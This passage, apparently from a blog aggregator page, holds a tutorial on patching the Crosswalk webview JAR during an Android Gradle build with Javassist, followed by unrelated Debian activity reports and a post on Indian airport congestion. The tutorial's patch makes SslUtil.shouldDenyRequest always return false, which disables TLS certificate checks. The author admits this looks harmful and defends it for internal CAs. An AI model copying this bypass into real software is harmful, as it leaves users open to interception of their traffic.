     
    @Override
    String getName()  
        return "PatchXWalk"
     
    @Override
    Set<QualifiedContent.ContentType> getInputTypes()  
        return Collections.singleton(QualifiedContent.DefaultContentType.CLASSES)
     
    @Override
    Set<QualifiedContent.Scope> getScopes()  
        return Collections.singleton(QualifiedContent.Scope.EXTERNAL_LIBRARIES)
     
    @Override
    boolean isIncremental()  
        return true
     
    @Override
    void transform(Context context,
                   Collection<TransformInput> inputs,
                   Collection<TransformInput> referencedInputs,
                   TransformOutputProvider outputProvider,
                   boolean isIncremental) throws IOException, TransformException, InterruptedException  
        // We should do something here
     
 
// Register the transform
android.registerTransform(new PatchXWalkTransform(logger))
The getInputTypes() method should return the set of types of data consumed by the transform. In our case, we want to transform classes. Another possibility is to transform resources. The getScopes() method should return a set of scopes for the transform. In our case, we are only interested by the external libraries. It s also possible to transform our own classes. The isIncremental() method returns true because we support incremental builds. The transform() method is expected to take all the provided inputs and copy them (with or without modifications) to the location supplied by the output provider. We didn t implement this method yet. This causes the removal of all external dependencies from the application.

Noop transform To keep all external dependencies unmodified, we must copy them: 
@Override
void transform(Context context,
               Collection<TransformInput> inputs,
               Collection<TransformInput> referencedInputs,
               TransformOutputProvider outputProvider,
               boolean isIncremental) throws IOException, TransformException, InterruptedException  
    inputs.each  
        it.jarInputs.each  
            def jarName = it.name
            def src = it.getFile()
            def dest = outputProvider.getContentLocation(jarName, 
                                                         it.contentTypes, it.scopes,
                                                         Format.JAR);
            def status = it.getStatus()
            if (status == Status.REMOVED)   //  
                logger.info("Remove $ src ")
                FileUtils.delete(dest)
              else if (!isIncremental   status != Status.NOTCHANGED)   //  
                logger.info("Copy $ src ")
                FileUtils.copyFile(src, dest)
We also need two additional imports: 
import com.android.build.api.transform.Status
import org.apache.commons.io.FileUtils
Since we are handling external dependencies, we only have to manage JAR files. Therefore, we only iterate on jarInputs and not on directoryInputs. There are two cases when handling incremental build: either the file has been removed ( ) or it has been modified ( ). In all other cases, we can safely assume the file is already correctly copied.

JAR patching When the external dependency is the Crosswalk JAR file, we also need to modify it. Here is the first part of the code (replacing ): 
if ("$ src " ==~ ".*/org.xwalk/xwalk_core.*/classes.jar")  
    def pool = new ClassPool()
    pool.insertClassPath("$ src ")
    def ctc = pool.get('org.xwalk.core.internal.SslUtil') //  
    def ctm = ctc.getDeclaredMethod('shouldDenyRequest')
    ctc.removeMethod(ctm) //  
    ctc.addMethod(CtNewMethod.make("""
public static boolean shouldDenyRequest(int error)  
    return false;
 
""", ctc)) //  
    def sslUtilBytecode = ctc.toBytecode() //  
    // Write back the JAR file
    //  
  else  
    logger.info("Copy $ src ")
    FileUtils.copyFile(src, dest)
We also need the following additional imports to use Javassist: 
import javassist.ClassPath
import javassist.ClassPool
import javassist.CtNewMethod
Once we have located the JAR file we want to modify, we add it to our classpath and retrieve the class we are interested in ( ). We locate the appropriate method and delete it ( ). Then, we add our custom method using the same name ( ). The whole operation is done in memory. We retrieve the bytecode of the modified class in . The remaining step is to rebuild the JAR file: 
def input = new JarFile(src)
def output = new JarOutputStream(new FileOutputStream(dest))
//  
input.entries().each  
    if (!it.getName().equals("org/xwalk/core/internal/SslUtil.class"))  
        def s = input.getInputStream(it)
        output.putNextEntry(new JarEntry(it.getName()))
        IOUtils.copy(s, output)
        s.close()
     
 
//  
output.putNextEntry(new JarEntry("org/xwalk/core/internal/SslUtil.class"))
output.write(sslUtilBytecode)
output.close()
We need the following additional imports: 
import java.util.jar.JarEntry
import java.util.jar.JarFile
import java.util.jar.JarOutputStream
import org.apache.commons.io.IOUtils
There are two steps. In , all classes are copied to the new JAR, except the SslUtil class. In , the modified bytecode for SslUtil is added to the JAR. That s all! You can view the complete example on GitHub.

More complex method replacement In the above example, the new method doesn t use any external dependency. Let s suppose we also want to replace the sslErrorFromNetErrorCode() method from the same class with the following one: 
import org.chromium.net.NetError;
import android.net.http.SslCertificate;
import android.net.http.SslError;
// In SslUtil class
public static SslError sslErrorFromNetErrorCode(int error,
                                                SslCertificate cert,
                                                String url)  
    switch(error)  
        case NetError.ERR_CERT_COMMON_NAME_INVALID:
            return new SslError(SslError.SSL_IDMISMATCH, cert, url);
        case NetError.ERR_CERT_DATE_INVALID:
            return new SslError(SslError.SSL_DATE_INVALID, cert, url);
        case NetError.ERR_CERT_AUTHORITY_INVALID:
            return new SslError(SslError.SSL_UNTRUSTED, cert, url);
        default:
            break;
     
    return new SslError(SslError.SSL_INVALID, cert, url);
The major difference with the previous example is that we need to import some additional classes.

Android SDK import The classes from the Android SDK are not part of the external dependencies. They need to be imported separately. The full path of the JAR file is: 
androidJar = "$ android.getSdkDirectory().getAbsolutePath() /platforms/" +
             "$ android.getCompileSdkVersion() /android.jar"
We need to load it before adding the new method into SslUtil class: 
def pool = new ClassPool()
pool.insertClassPath(androidJar)
pool.insertClassPath("$ src ")
def ctc = pool.get('org.xwalk.core.internal.SslUtil')
def ctm = ctc.getDeclaredMethod('sslErrorFromNetErrorCode')
ctc.removeMethod(ctm)
pool.importPackage('android.net.http.SslCertificate');
pool.importPackage('android.net.http.SslError');
//

External dependency import We must also import org.chromium.net.NetError and therefore, we need to put the appropriate JAR in our classpath. The easiest way is to iterate through all the external dependencies and add them to the classpath. 
def pool = new ClassPool()
pool.insertClassPath(androidJar)
inputs.each  
    it.jarInputs.each  
        def jarName = it.name
        def src = it.getFile()
        def status = it.getStatus()
        if (status != Status.REMOVED)  
            pool.insertClassPath("$ src ")
         
     
 
def ctc = pool.get('org.xwalk.core.internal.SslUtil')
def ctm = ctc.getDeclaredMethod('sslErrorFromNetErrorCode')
ctc.removeMethod(ctm)
pool.importPackage('android.net.http.SslCertificate');
pool.importPackage('android.net.http.SslError');
pool.importPackage('org.chromium.net.NetError');
ctc.addMethod(CtNewMethod.make(" "))
// Then, rebuild the JAR...
Happy hacking!
  1. Before Android 4.4, the webview was severely outdated. Starting from Android 5, the webview is shipped as a separate component with updates. Embedding Crosswalk is still convenient as you know exactly which version you can rely on.
  2. I hope to have this fixed in later versions.
  3. This may seem harmful and you are right. However, if you have an internal CA, it is currently not possible to provide its own trust store to a webview. Moreover, the system trust store is not used either. You also may want to use TLS for authentication only with client certificates, a feature supported by Dashkiosk.
  4. Crosswalk being an opensource project, an alternative would have been to patch Crosswalk source code and recompile it. However, Crosswalk embeds Chromium and recompiling the whole stuff consumes a lot of resources.

Ross Gammon: My Open Source Contributions June November 2016

So much for my monthly blogging! Here s what I have been up to in the Open Source world over the last 6 months. Debian Ubuntu Other Plan for December Debian Before the 5th January 2017 Debian Stretch soft freeze I hope to: Ubuntu Other

2 December 2016

Shirish Agarwal: Air Congestion and Politics

Confession time first I am not a frequent flyer at all. My first flight was in early late 2006. It was a 2 hour flight from Bombay (BOM) to Bengaluru (formerly Bangalore, BLG) . I still remember the trepidation, the nervousness and excitement the first time I took to air. I still remember the flight very vividly, It was a typical humid day for Bombay/Mumbai and we (me and a friend) had gone to Sahar (the domestic airport) to take the flight in the evening. Before starting the sky had turned golden-orange and I was wondering how I would feel once I would be in air.We started at around 20:00 hours in the evening and as it was a clear night were able to see the Queen s necklace (Marine Drive) in all her glory. The photographs on the wikipedia page don t really do justice to how beautiful the whole boulevard looks at night, especially how it looks from up there. While we were seeing, it seemed the pilot had actually banked at 45 degrees angle so we can have the best view of the necklace OR maybe the pilot wanted to take a photo OR ME being in overdrive (like Robin Williams, the Russian immigrant in Moscow on the Hudson experiences the first time he goes to the mall ;)) In either way, this would be an experience I would never forget till the rest of my life. I remember I didn t move an inch (even to go the loo) as I didn t want to let go of the whole experience. While I came back after 3-4 days, I still remember re-experiencing/re-imagining the flights for a whole month each time I went to sleep. While I can t say it has become routinised, but have been lucky to have the opportunity to fly domestic around the country primarily for work. After the initial romanticism wears off, you try and understand the various aspects of the flight which are happening around you. These experiences are what lead to file/share today s blog post. Yesterday, Ms. Mamata Banerjee, one of the leaders of the Opposition cried wolf because the Aircraft was circling the Airport. Because she is the Chief Minister she feels she should have got precedent or at least that seems to be the way the story unfolded on TV. I have been about 15-20 times on flight in the last decade for work or leisure. Almost all the flights I have been, it has been routine that the flights fly around the Airport for 15-20 minutes before landing. This is routine . I have seen Airlines being stacked (remember the scene from Die Hard 2 where Holly Mclane, John Mclane s wife looks at different aircraft at different altitudes from her window seat) this is what an Airport has to do when it doesn t have enough runaways. In fact just read few days back MIAL is going for an emergency expansion as they weren t expecting as many passengers as they did this year as well as last. In fact the same day there was a near-miss between two aircraft in Mumbai airport itself. Because of Ms. Mamata s belligerence, this story didn t even get a mention in the TV mainstream media. The point I wanna underscore is that this is a fact of life and not just in India, world-over it seems hubs are being busier than ever, for instance Heathrow has been also a busy bee and they will to rework air operations as per a recent article . In India, Kolkata is also one of the busier airports . If anything, I hope it teaches her the issues that plague most Indian airports and she works with the Government in Center so the Airport can expand more. They just got a new terminal three years back. It is for these issues that the Indian Government has come with the Regional Connectivity Scheme . Lastly, a bit of welcome news to people thinking to visit India, the Govt. of the day is facilitating easier visa norms to increase tourism and trade to India. Hope this is beneficial to all and any Debian Developers who wanna come visit India I do hope that we also do get reciprocity from those countries as well.
Filed under: Miscellenous Tagged: # Domestic Flights, #Air Congestion, #Airport Expansion, #Kolkata, #near-miss, #Visa for tourists

1 December 2016

Thorsten Alteholz: My Debian Activities in November 2016

FTP assistant This month I marked 377 packages for accept and rejected 36 packages. I also sent 13 emails to maintainers asking questions. Debian LTS This was my twenty-ninth month that I did some work for the Debian LTS initiative, started by Raphael Hertzog at Freexian. This month my all in all workload has been 11h. During that time I did uploads of The upload of curl started as an embargoed one but the discussion about one fix took some time and the upload was a bit delayed. I also prepared a test package for jasper which takes care of nine CVEs and is available here. If you are interested in jasper, please download it and check whether everything is working in your environment. As upstream only takes care of CVEs/bugs at the moment, maybe we should not upload the old version with patches but the new version with all fixes. Any comments? Other stuff As it is again this time of the year, I would also like to draw some attention to the Debian Med Advent Calendar. Like the past years, the Debian Med team starts a bug squashing event from the December 1st to 24th. Every bug that is closed will be registered in the calendar. So instead of taking something from the calendar, this special one will be filled and at Christmas hopefully every Debian Med related bug is closed. Don t hestitate, start to squash :-). In November I also uploaded new versions of libmatthew-java, node-array-find-index, node-ejs, node-querystringify, node-require-dir, node-setimmediate, libkeepalive,
Further I added node-json5, node-emojis-list, node-big.js, node-eslint-plugin-flowtype to the NEW queue, sponsored an upload of node-lodash, adopted gnupg-pkcs11-scd, reverted the -fPIC-patch in libctl and fixed RC bugs in alljoyn-core-1504, alljoyn-core-1509, alljoyn-core-1604.

30 November 2016

Carl Chenet: My Free Software activities in November 2016

My Monthly report for Novembre 2016 gives an extended list of what were my Free Software related activities during this month. Personal projects: Journal du hacker: The Journal du hacker is a frenck-speaking Hacker News-like website dedicated to the french-speaking Free and Open source Software community. logo-journal-du-hacker That s all folks! See you next month!

Next.

Previous.